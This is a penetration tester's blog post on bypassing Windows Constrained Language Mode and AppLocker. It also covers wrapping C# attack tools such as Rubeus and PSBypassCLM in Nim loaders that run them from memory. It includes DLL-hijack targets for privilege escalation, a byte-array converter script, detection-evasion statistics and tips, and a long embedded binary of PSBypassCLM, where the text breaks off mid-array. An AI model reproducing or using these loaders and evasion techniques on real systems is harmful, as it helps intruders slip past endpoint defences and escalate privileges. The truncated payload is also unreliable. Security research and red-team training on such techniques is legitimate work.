Bypassing Windows protection mechanisms & Playing with OffensiveNim

December 31, 2020

In this post I’m telling a short story from an environment I faced some time ago and how to handle the situation bypassing Constrained Language Mode and Applocker using well known techniques. I recently had some time to take a look at the OffensiveNim repository by @byt3bl33d3r who did some really awesome work here. By looking at the code examples and fiddling around with some of them I found that this is pretty cool and has nice benefits. Therefore the seccond chapter is about my amusings with the Nim templates. C# binaries wrapped in Nim could have been used to bypass the windows protection mechanisms as well - for fun and profit. There will be nothing new in this blog post, everything used is already public. But maybe some of you will face a similar situation in the future - this post could maybe help you here.

Bypassing Windows protection mechanisms

So, which situation was I facing? It was a windows environment with Constrained Language Mode (CLM) enabled on every system.

PowerShell Constrained Language is a language mode of PowerShell designed to support day-to-day administrative tasks, yet restrict access to sensitive language elements that can be used to invoke arbitrary Windows APIs.

You can see if this language mode is active by issuing the following command in a Powershell console window:

$ExecutionContext.SessionState.LanguageMode

The default mode is FullLanguage which allows any commands.

If CLM is enabled in your environment, you will most likely not be able to use the native Windows Powershell.exe for any Offensive Security purposes. No Command & Control (C2) connections via Powershell stager, no scripts loadable via IEX() and so on. For the defenders out there - Enable Constrained Language Mode, this will make life harder for malware & attackers as well as for all Offensive Security guys like Pentesters and Red-Teams.

However there are many well known techniques public to get around this protection mechanism. The restriction is applied to the native Powershell.exe, so if you bring your own Powershell to the compromised system or any other binary using a Powershell Runspace you can execute commands & scripts as usual. Some of the tools I used to bypass CLM in the past were the following:

There are many more tools like theese, everything I found so far is contained in my Pentest Tools list.

Using direct communication to the .NET API via Powershell Runspace should be easy to bypass CLM and execute our favorite C2-stager, right? Unfortunately CLM was not the only protection mechanism active in this environment. They also enabled Applocker on the clients.

AppLocker advances the app control features and functionality of Software Restriction Policies. AppLocker contains new capabilities and extensions that allow you to create rules to allow or deny apps from running based on unique identities of files and to specify which users or groups can run those apps.

In my experience the protection level of Applocker varies greatly between different configurations. If a company enables Applocker but leaves the configuration at its default state there are many quickwins to bypass it. There are awesome lists on Github on how to bypass the default configuration:

So to bypass a default configuration you can use the same tools already mentioned above. They can be used with MSBuild.exe or rundll32.exe and theese native windows binaries are allowed in the default configuration. Alternatively any binary can be placed in a writable directory with execute permissions.

In the given environment however, all those default locations and the mentioned native windows binaries were forbidden. To take a look at the current Applocker configuration you can use the following Powershell command, which is still allowed even with Constrained Language Mode enabled:

Get-AppLockerPolicy -Effective -Xml | Set-Content ('c:\users\currentuser\Desktop\ApplockerConfig.xml')

Understanding the XML-output is straight forward in my opinion so I won’t dive into that here. In the given environment I was lucky to find one writable directory, used by an Java Application installed on many client systems:

` C:\oracle\java\bin
`

Dropping a binary in this directory enables us to execute code without restrictions. We can simply place one of the tools mentioned above (not the MSBuild.exe or Rundll32.exe based ones) in the folder and execute any Powershell command without restrictions because we are also bypassing Constrained Language Mode. So far so easy, no new techniques or toolings.

Fun fact: a writeble PATH variable folder location allows a local privilege escalation on the affected clients. The C:\oracle\java\bin path was writable and included in the PATH environment variables in this case. You can find this vulnerability with a simple script. If you place a DLL in that directory, which is not located anywhere on the disk but which is demanded by for example a windows service and executed with NT-Authority\SYSTEM rights you may gain a system shell. In addition this service must act on the default DLL search order. Some publicy known DLLs to exploit this vulnarbility are:

CDPSvc.dll - Connected Devices Platform Service (CDPSvc) - http://zeifan.my/security/eop/2019/11/05/windows-service-host-process-eop.html
WptsExtensions.dll - Windows 10 Task Scheduler service - https://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html
wlanhlp.dll - Windows Server 2008R2 - 2019 NetMan DLL Hijacking https://itm4n.github.io/windows-server-netman-dll-hijacking/

03.01.2021: Update

Thank you itm4n for the clarification. I previously wrote that the following three DLL names are vulnerable. This is not the case, since the default DLL search order is not being used here. Those following three can only be loaded from the SYSTEM32 directory.

windowscoredeviceinfo.dll - loaded whenever an Update Session is created - itm4ns UsoDllLoader
phoneinfo.dll - windows problem reporting service - sailay1996s WerTrigger
Ualapi.dll - Fax Service - ionescu007s faxhell

If someone of you knows about more vulnerable services / DLL Hijack possibilities - feel free to DM me.

Playing with OffensiveNim

Why should someone use Nim for Offensive Security Purposes? In the OffensiveNim repository byt3bl33d3r already lists some reasons, I did copy some of them for this post:

Compiles directly to C, C++, Objective-C and Javascript.
Avoids making you actually write in C/C++ and subsequently avoids introducing a lot of security issues into your software.
Super easy cross compilation to Windows from *nix/MacOS, only requires you to install the mingw toolchain and passing a single flag to the nim compiler.
The Nim compiler and the generated executables support all major platforms like Windows, Linux, BSD and macOS.

The fact that Nim directly compiles to C/C++ gives OffensiveNim binaries all capabilities and benefits of Offensive C-tooling. You can for example use any C-binary PE-Loader or PE-Packer which makes it easy to execute them from memory. Easy Integration with existing Offensive Security tools/techniques is therefore given.

If you are not that experienced with C/C++ programming but want to use it’s benefits Nim is an easy alternative. I have to admit my skill with C/C++ is actually really low, because I just nearly never used it so far. The only thing I did was taking existing code and modifying it to my needs. So for me this was worth taking a look at.

Every tool mentioned to bypass the restrictions is written in C#. From the defenders point of view I would prefer an attacker using C# tooling instead of C/C++ compiled binaries. Why? If an attacker leaves C# binaries on the disk defenders can decompile them easily using tools such as ILSpy or for malware analysis. In real world Incidents I also saw attackers using Powershell scripts loading C# binaries from memory for persistence on startup over the registry. Modifying the Powershell script in order to drop the binary to disk instead of loading it makes them analyzable via decompiler without dumping memory. C/C++ binaries are harder to analyze because they have to be disassembled using IDA Pro or Ghidra or similar tools. Malware analysis with given assembler code is definitely more complicated or at least far more time-consuming in my opinion.

So I think we can also say that C/C++ binaries and therefore also Nim binaries are a little bit more Opsec-Safe. There is one more benefit - as far as I know at the time of writing this post AMSI has no ability to inspect C/C++ compiled binaries. We will see later in this post that patching AMSI in Nim before loading a C#-executable is pretty easy. This AMSI bypass can therefore never be caught by AMSI itself. In the past Microsoft only blocked every public bypass by building a new AMSI signature for it. That’s not possible here. But it can still be detected by traditional AV-Software with a signature of the files bytes, if you drop it on the disk.

But how to actually use our existing tooling in Nim? Some days ago a new Nim-template was added to the OffensiveNim repository: execute_assembly_bin.nim. This code actually loads an C# compiled executable - converted to an byte array - into memory:

#[
    Author: Marcello Salvati, Twitter: @byt3bl33d3r
    License: BSD 3-Clause

    I still can't believe this was added directly in the Winim library. Huge props to the author of Winim for this (khchen), really great stuff.

    Make sure you have Winim >=3.6.0 installed. If in doubt do a `nimble install winim`

    Also see https://github.com/khchen/winim/issues/63 for an amazing pro-tip from the author of Winim in order to determine the marshalling type of .NET objects.

    References:
      - https://github.com/khchen/winim/blob/master/examples/clr/usage_demo2.nim
]#

import winim/clr
import sugar
import strformat

# Just pops a message box... or does it? ;)
var buf: array[4608, byte] = [byte 0x4d,0x5a,0x90[...snip...]0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0]

echo "[*] Installed .NET versions"
for v in clrVersions():
    echo fmt"    \--- {v}"
echo "\n"

echo ""

var assembly = load(buf)
dump assembly

#[

# I initially thought we couldn't use EntryPoint.Invoke() and the below code was my work around. Turns out I was wrong!
# See https://github.com/byt3bl33d3r/OffensiveNim/issues/9

var dt = fromCLRVariant[string](assembly.EntryPoint.DeclaringType.ToString())
var mn = fromCLRVariant[string](assembly.EntryPoint.Name)
echo fmt"[*] EntryPoint.DeclaringType: '{dt}'"
echo fmt"[*] EntryPoint.MethodName: '{mn}'"
var t = assembly.GetType(dt)
var flags = BindingFlags_Static or BindingFlags_Public or BindingFlags_InvokeMethod
@t.invoke(mn, flags, toCLRVariant([""], VT_BSTR)) # Passing an empty array
@t.invoke(mn, flags, toCLRVariant(["From Nim & .NET!"], VT_BSTR)) # Actually passing some args 

]#

var arr = toCLRVariant([""], VT_BSTR) # Passing no arguments
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

arr = toCLRVariant(["From Nim & .NET!"], VT_BSTR) # Actually passing some args
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

When I saw this new template on Twitter i thought “Awesome, something I want to play with”. Downloading Nim and importing WinIm with nimble install winim is an easy setup. In the given template byt3bl33d3r executes the .NET Messagebox two times - one time without arguments and one time actually passing some args. I removed the first EntryPoint.Invoke() without arguments because there is no need to execute twice. For my first try I wanted to wrap the Rubeus binary into a Nim executable. Therefore I compiled Rubeus as usual and wrote a small Powershell script to convert it to a Nim-usable byte array:

function CSharpToNimByteArray
{

Param
    (
        [string]
        $inputfile,
	    [switch]
        $folder
)

    if ($folder)
    {
        $Files = Get-Childitem -Path $inputfile -File
        $fullname = $Files.FullName
        foreach($file in $fullname)
        {
            Write-Host "Converting $file"
            $outfile = $File + "NimByteArray.txt"
    
            [byte[]] $hex = get-content -encoding byte -path $File
            $hexString = ($hex|ForEach-Object ToString X2) -join ',0x'
            $Results = $hexString.Insert(0,"var buf: array[" + $hex.Length + ", byte] = [byte 0x")
            $Results = $Results + "]"         
            $Results | out-file $outfile
         
        }
        Write-Host -ForegroundColor yellow "Results Written to the same folder"
    }
    else
    {
        Write-Host "Converting $inputfile"
        $outfile = $inputfile + "NimByteArray.txt"
        
        [byte[]] $hex = get-content -encoding byte -path $inputfile
        $hexString = ($hex|ForEach-Object ToString X2) -join ',0x'
        $Results = $hexString.Insert(0,"var buf: array[" + $hex.Length + ", byte] = [byte 0x")
        $Results = $Results + "]"         
        $Results | out-file $outfile
        Write-Host "Result Written to $outfile"
    }
} 

This makes it pretty easy to convert any C# binary or even a whole folder containing C# binaries into Nim byte arrays:

The resulting Nim byte array looks like this:

var buf: array[198144, byte] = [byte 0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00,0x04,[...snip...]0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]

Using this byte array instead of the message box one and compiling the Nim code via nim c execute_assembly_bin.nim ends up in an C-compiled executable loading Rubeus and returning the help menu:

This won’t help us for Rubeus because we actually want to pass arguments to the Nim-compiled executable which should be forwarded to the C#-executable. In the given template file arguments are passed in the following line:

arr = toCLRVariant(["From Nim & .NET!"], VT_BSTR) # Actually passing some args

I found, that by passing a single argument like for example “kerberoast” instead of “From Nim & .NET!” Rubeus successfully loads from memory using the kerberoasting attack. My first try for parameter passing looked like this:

import os
[...]
var cmd = ""
var i = 1
while i <= paramCount():
    cmd.add(paramStr(i))
    cmd.add(" ")
    inc(i)
echo cmd # Only for troubleshooting purpose
var arr = toCLRVariant([cmd], VT_BSTR)
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

But everything containing a space was not parsed successfully - only the Rubeus helpme was returned, which is the case for incorrect parameters. Troubleshooting this issue I further examined that toCLRVariant() seams to only accept arrays for multiple parameters. Modifying the code to pass two parameters for the C#-binary looks like this:

var arr = toCLRVariant(["kerberoast", "/format:hashcat"], VT_BSTR)
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

To pass any possible number of arguments I used the following code afterwards:

var cmd: seq[string]
var i = 1
while i <= paramCount():
    cmd.add(paramStr(i))
    inc(i)
echo cmd
var arr = toCLRVariant(cmd, VT_BSTR)
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

This results in a Nim C-compiled Rubeus binary ready for action:

One more thing to mention: The pure C# Rubeus binary I used was detected by 26/72 engines on Virustotal:

The NimRubeus version got 16/70 detections:

So wrapping binaries into other languages CAN be used to bypass AV-Software as well. However I recommend to obfuscate any C# binary before turning it into an byte array - this should result in even less detections. And if you do it right there is no need for an AMSI bypass. The more people use OffensiveNim I strongly believe that even the small peaces of the Nim template could be flagged someday. So modifications to the template should also be done at this point to stay undetected.

12.01.2021: Update - Detection methods & Encoding/Encryption

The detection of .NET assemblies in Nim compiled executables is still pretty easy for AV-Vendors. If we embed the plaintext .NET assembly bytes an analyst can see the embeded binary by just opening it in a hex editor:

Flagging theese bytes is pretty easy for AV-Vendors. So this method alone is not really good to bypass AV-Software. So if you want your Nim compiled binary to hide the .NET assembly you have to encode/encrypt it and decode/decrypt it at runtime. Base64 encoding and decoding can be done in Nim with the following code:

import base64
import os
import strformat

func toByteSeq*(str: string): seq[byte] {.inline.} =
    # Converts a string to the corresponding byte sequence
    @(str.toOpenArrayByte(0, str.high))

let inFile: string = paramStr(1)
let inFileContents: string = readFile(inFile)

# To load this .NET assembly we need a byte array or sequence
var bytesequence: seq[byte] = toByteSeq(inFileContents)

let encoded = encode(bytesequence)

echo fmt"[*] Encoded: {encoded}"

let decoded = decode(encoded)

echo fmt"[*] Decoded: {decoded}"

To fully hide the .NET assembly in the resulting binary you could use AES encryption or XOR-operations. @byt3bl33d3r just published an PoC for encryption and decryption via Nim:

https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/encrypt_decrypt_bin.nim

This can be used to encrypt .NET assemblies as well as for runtime decryption:

I´ll leave this up to the reader, but one important tip: import winim/clr and import nimcrypto results in a stack overflow for the AES initialization at the time of writing. So you need to import winim/clr via the following:

import winim/clr except `[]`

Thanks https://twitter.com/chvancooten for figuring this out.

If we step back to the environment with Constrained Language Mode and Applocker active we could also use one of the mentioned tools to bypass both features with a Nim wrapper. The following code for example contains PSByPassCLM wrapped into Nim, which enables us to bypass both features by placing this compiled binary into the C:\oracle\bin\ folder:

#[
    Author: Marcello Salvati, Twitter: @byt3bl33d3r
    License: BSD 3-Clause

    I still can't believe this was added directly in the Winim library. Huge props to the author of Winim for this (khchen), really great stuff.

    Make sure you have Winim >=3.6.0 installed. If in doubt do a `nimble install winim`

    Also see https://github.com/khchen/winim/issues/63 for an amazing pro-tip from the author of Winim in order to determine the marshalling type of .NET objects.

    References:
      - https://github.com/khchen/winim/blob/master/examples/clr/usage_demo2.nim
]#

import winim/clr
import sugar
import strformat
import os

# PSBypassCLM Binary
var buf: array[10240, byte] = [byte 0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xFF,0xFF,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x0E,0x1F,0xBA,0x0E,0x00,0xB4,0x09,0xCD,0x21,0xB8,0x01,0x4C,0xCD,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6F,0x67,0x72,0x61,0x6D,0x20,0x63,0x61,0x6E,0x6E,0x6F,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6E,0x20,0x69,0x6E,0x20,0x44,0x4F,0x53,0x20,0x6D,0x6F,0x64,0x65,0x2E,0x0D,0x0D,0x0A,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x45,0x00,0x00,0x4C,0x01,0x03,0x00,0xD0,0x95,0xEC,0x5F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0x00,0x22,0x00,0x0B,0x01,0x30,0x00,0x00,0x1E,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x8E,0x3C,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x20,0x00,0x00,0x00,0x02,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x60,0x85,0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3C,0x3C,0x00,0x00,0x4F,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xA4,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x0C,0x00,0x00,0x00,0x04,0x3B,0x00,0x00,0x1C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08,0x20,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2E,0x74,0x65,0x78,0x74,0x00,0x00,0x00,0x94,0x1C,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x1E,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x60,0x2E,0x72,0x73,0x72,0x63,0x00,0x00,0x00,0xA4,0x05,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x72,0x65,0x6C,0x6F,0x63,0x00,0x00,0x0C,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x26,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x42,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x3C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x02,0x00,0x05,0x00,0x98,0x22,0x00,0x00,0x6C,0x18,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1B,0x30,0x03,0x00,0x70,0x01,0x00,0x00,0x01,0x00,0x00,0x11,0x72,0x01,0x00,0x00,0x70,0x0A,0x72,0x01,0x00,0x00,0x70,0x0B,0x72,0x01,0x00,0x00,0x70,0x0C,0x16,0x0D,0x02,0x2C,0x22,0x02,0x8E,0x2C,0x1E,0x02,0x16,0x9A,0x28,0x10,0x00,0x00,0x0A,0x2D,0x14,0x02,0x17,0x9A,0x28,0x10,0x00,0x00,0x0A,0x2D,0x0A,0x17,0x0D,0x02,0x16,0x9A,0x0B,0x02,0x17,0x9A,0x0C,0x28,0x11,0x00,0x00,0x0A,0x13,0x04,0x11,0x04,0x6F,0x12,0x00,0x00,0x0A,0x11,0x04,0x73,0x13,0x00,0x00,0x0A,0x72,0x03,0x00,0x00,0x70,0x6F,0x14,0x00,0x00,0x0A,0x26,0x72,0x86,0x00,0x00,0x70,0x13,0x05,0x09,0x2D,0x0C,0x72,0xCB,0x0B,0x00,0x70,0x28,0x15,0x00,0x00,0x0A,0x2B,0x1A,0x11,0x05,0x72,0x1D,0x0C,0x00,0x70,0x07,0x6F,0x16,0x00,0x00,0x0A,0x72,0x2D,0x0C,0x00,0x70,0x08,0x6F,0x16,0x00,0x00,0x0A,0x13,0x05,0x09,0x2D,0x12,0x72,0x3B,0x0C,0x00,0x70,0x28,0x17,0x00,0x00,0x0A,0x28,0x18,0x00,0x00,0x0A,0x0A,0x2B,0x03,0x11,0x05,0x0A,0x06,0x28,0x10,0x00,0x00,0x0A,0x3A,0xB3,0x00,0x00,0x00,0x11,0x04,0x6F,0x19,0x00,0x00,0x0A,0x13,0x06,0x11,0x06,0x6F,0x1A,0x00,0x00,0x0A,0x06,0x6F,0x1B,0x00,0x00,0x0A,0x11,0x06,0x6F,0x1A,0x00,0x00,0x0A,0x72,0x47,0x0C,0x00,0x70,0x6F,0x1C,0x00,0x00,0x0A,0x09,0x2C,0x0A,0x72,0x5D,0x0C,0x00,0x70,0x28,0x17,0x00,0x00,0x0A,0x11,0x06,0x6F,0x1D,0x00,0x00,0x0A,0x73,0x1E,0x00,0x00,0x0A,0x13,0x07,0x6F,0x1F,0x00,0x00,0x0A,0x13,0x08,0x2B,0x18,0x11,0x08,0x6F,0x20,0x00,0x00,0x0A,0x13,0x09,0x11,0x07,0x11,0x09,0x6F,0x21,0x00,0x00,0x0A,0x6F,0x22,0x00,0x00,0x0A,0x26,0x11,0x08,0x6F,0x23,0x00,0x00,0x0A,0x2D,0xDF,0xDE,0x0C,0x11,0x08,0x2C,0x07,0x11,0x08,0x6F,0x24,0x00,0x00,0x0A,0xDC,0x11,0x07,0x6F,0x21,0x00,0x00,0x0A,0x28,0x17,0x00,0x00,0x0A,0xDE,0x2B,0x13,0x0A,0x09,0x2C,0x07,0x72,0x01,0x00,0x00,0x70,0x13,0x05,0x72,0x93,0x0C,0x00,0x70,0x11,0x0A,0x6F,0x25,0x00,0x00,0x0A,0x28,0x26,0x00,0x00,0x0A,0xDE,0x0C,0x11,0x06,0x2C,0x07,0x11,0x06,0x6F,0x24,0x00,0x00,0x0A,0xDC,0x06,0x72,0x9B,0x0C,0x00,0x70,0x28,0x27,0x00,0x00,0x0A,0x3A,0x1A,0xFF,0xFF,0xFF,0x2A,0x01,0x28,0x00,0x00,0x02,0x00,0xF5,0x00,0x25,0x1A,0x01,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0xB5,0x00,0x7F,0x34,0x01,0x1F,0x16,0x00,0x00,0x01,0x02,0x00,0xB5,0x00,0x9E,0x53,0x01,0x0C,0x00,0x00,0x00,0x00,0x1E,0x02,0x28,0x28,0x00,0x00,0x0A,0x2A,0x13,0x30,0x04,0x00,0x84,0x00,0x00,0x00,0x02,0x00,0x00,0x11,0x72,0x01,0x00,0x00,0x70,0x0A,0x72,0x01,0x00,0x00,0x70,0x0B,0x02,0x28,0x29,0x00,0x00,0x0A,0x6F,0x2A,0x00,0x00,0x0A,0x72,0xA5,0x0C,0x00,0x70,0x6F,0x2B,0x00,0x00,0x0A,0x28,0x10,0x00,0x00,0x0A,0x2D,0x48,0x02,0x28,0x29,0x00,0x00,0x0A,0x6F,0x2A,0x00,0x00,0x0A,0x72,0xB7,0x0C,0x00,0x70,0x6F,0x2B,0x00,0x00,0x0A,0x0A,0x06,0x2D,0x0B,0x72,0xC3,0x0C,0x00,0x70,0x73,0x2C,0x00,0x00,0x0A,0x7A,0x02,0x28,0x29,0x00,0x00,0x0A,0x6F,0x2A,0x00,0x00,0x0A,0x72,0x1F,0x0D,0x00,0x70,0x6F,0x2B,0x00,0x00,0x0A,0x0B,0x07,0x2D,0x0B,0x72,0x2B,0x0D,0x00,0x70,0x73,0x2C,0x00,0x00,0x0A,0x7A,0x18,0x8D,0x1A,0x00,0x00,0x01,0x25,0x16,0x06,0xA2,0x25,0x17,0x07,0xA2,0x28,0x01,0x00,0x00,0x06,0x2A,0x06,0x2A,0x1E,0x02,0x28,0x2D,0x00,0x00,0x0A,0x2A,0x00,0x00,0x42,0x53,0x4A,0x42,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39,0x00,0x00,0x00,0x00,0x05,0x00,0x6C,0x00,0x00,0x00,0x80,0x03,0x00,0x00,0x23,0x7E,0x00,0x00,0xEC,0x03,0x00,0x00,0x24,0x05,0x00,0x00,0x23,0x53,0x74,0x72,0x69,0x6E,0x67,0x73,0x00,0x00,0x00,0x00,0x10,0x09,0x00,0x00,0x88,0x0D,0x00,0x00,0x23,0x55,0x53,0x00,0x98,0x16,0x00,0x00,0x10,0x00,0x00,0x00,0x23,0x47,0x55,0x49,0x44,0x00,0x00,0x00,0xA8,0x16,0x00,0x00,0xC4,0x01,0x00,0x00,0x23,0x42,0x6C,0x6F,0x62,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x01,0x47,0x15,0x02,0x08,0x09,0x00,0x00,0x00,0x00,0xFA,0x01,0x33,0x00,0x16,0x00,0x00,0x01,0x00,0x00,0x00,0x24,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x2D,0x00,0x00,0x00,0x0F,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x7F,0x02,0x01,0x00,0x00,0x00,0x00,0x00,0x06,0x00,0xF4,0x01,0x2C,0x04,0x06,0x00,0x61,0x02,0x2C,0x04,0x06,0x00,0x12,0x01,0xC6,0x03,0x0F,0x00,0x4C,0x04,0x00,0x00,0x06,0x00,0x3A,0x01,0x59,0x03,0x06,0x00,0xC1,0x01,0x59,0x03,0x06,0x00,0xA2,0x01,0x59,0x03,0x06,0x00,0x48,0x02,0x59,0x03,0x06,0x00,0x14,0x02,0x59,0x03,0x06,0x00,0x2D,0x02,0x59,0x03,0x06,0x00,0x51,0x01,0x59,0x03,0x06,0x00,0x26,0x01,0x0D,0x04,0x06,0x00,0x04,0x01,0x0D,0x04,0x06,0x00,0x85,0x01,0x59,0x03,0x06,0x00,0x6C,0x01,0x8F,0x02,0x06,0x00,0x8D,0x04,0x2B,0x03,0x0A,0x00,0x86,0x00,0xE6,0x03,0x0A,0x00,0xE2,0x00,0xE6,0x03,0x06,0x00,0x8E,0x03,0xB3,0x04,0x06,0x00,0x0E,0x00,0x3A,0x00,0x0A,0x00,0x8B,0x04,0x3C,0x03,0x06,0x00,0x84,0x03,0x2B,0x03,0x0E,0x00,0xDE,0x01,0xD1,0x02,0x12,0x00,0x9C,0x03,0xF3,0x02,0x06,0x00,0xDA,0x04,0x60,0x04,0x06,0x00,0xAB,0x02,0x2B,0x03,0x0A,0x00,0xF7,0x04,0xE6,0x03,0x0A,0x00,0x9B,0x00,0x3C,0x03,0x06,0x00,0x01,0x00,0xB2,0x02,0x06,0x00,0xB6,0x00,0x2B,0x03,0x0A,0x00,0x6B,0x03,0xE6,0x03,0x06,0x00,0xA6,0x03,0x60,0x04,0x06,0x00,0xAA,0x00,0x2B,0x03,0x12,0x00,0xCB,0x04,0xF3,0x02,0x0E,0x00,0xE6,0x04,0x59,0x00,0x12,0x00,0x7D,0x03,0xF3,0x02,0x00,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x10,0x00,0x1A,0x03,0x82,0x04,0x41,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x10,0x00,0xE7,0x02,0x82,0x04,0x61,0x00,0x01,0x00,0x03,0x00,0x50,0x20,0x00,0x00,0x00,0x00,0x96,0x00,0x37,0x03,0xD5,0x00,0x01,0x00,0xF4,0x21,0x00,0x00,0x00,0x00,0x86,0x18,0xC0,0x03,0x06,0x00,0x02,0x00,0xFC,0x21,0x00,0x00,0x00,0x00,0xC6,0x00,0x10,0x03,0xDB,0x00,0x02,0x00,0x8C,0x22,0x00,0x00,0x00,0x00,0xC6,0x00,0x08,0x03,0xDB,0x00,0x03,0x00,0x8E,0x22,0x00,0x00,0x00,0x00,0x86,0x18,0xC0,0x03,0x06,0x00,0x04,0x00,0x00,0x00,0x01,0x00,0x5B,0x04,0x00,0x00,0x01,0x00,0xF3,0x00,0x00,0x00,0x01,0x00,0xF3,0x00,0x09,0x00,0xC0,0x03,0x01,0x00,0x11,0x00,0xC0,0x03,0x06,0x00,0x19,0x00,0xC0,0x03,0x0A,0x00,0x29,0x00,0xC0,0x03,0x10,0x00,0x31,0x00,0xC0,0x03,0x10,0x00,0x39,0x00,0xC0,0x03,0x10,0x00,0x41,0x00,0xC0,0x03,0x10,0x00,0x49,0x00,0xC0,0x03,0x10,0x00,0x51,0x00,0xC0,0x03,0x10,0x00,0x59,0x00,0xC0,0x03,0x10,0x00,0x61,0x00,0xC0,0x03,0x15,0x00,0x69,0x00,0xC0,0x03,0x10,0x00,0x71,0x00,0xC0,0x03,0x10,0x00,0x79,0x00,0xC0,0x03,0x10,0x00,0xB9,0x00,0xC0,0x03,0x15,0x00,0xD1,0x00,0x15,0x05,0x32,0x00,0xD9,0x00,0x80,0x00,0x37,0x00,0x89,0x00,0x32,0x03,0x06,0x00,0xE1,0x00,0xC0,0x03,0x3C,0x00,0xE1,0x00,0xA3,0x00,0x42,0x00,0xF1,0x00,0xD2,0x00,0x4C,0x00,0xD1,0x00,0x78,0x00,0x51,0x00,0xF1,0x00,0xFE,0x00,0x4C,0x00,0xF1,0x00,0xBE,0x00,0x57,0x00,0x89,0x00,0xDC,0x00,0x5B,0x00,0x91,0x00,0xD9,0x03,0x60,0x00,0xF9,0x00,0xA0,0x04,0x10,0x00,0xF9,0x00,0x55,0x00,0x10,0x00,0x91,0x00,0xA3,0x00,0x65,0x00,0x99,0x00,0xC0,0x03,0x06,0x00,0x0C,0x00,0xB2,0x03,0x75,0x00,0x14,0x00,0x94,0x04,0x85,0x00,0x81,0x00,0xA9,0x02,0x8A,0x00,0x99,0x00,0xC7,0x00,0x8E,0x00,0x01,0x01,0xAA,0x04,0x94,0x00,0x09,0x01,0xEB,0x00,0x06,0x00,0xB1,0x00,0x8F,0x00,0x8A,0x00,0xF1,0x00,0xD2,0x00,0x98,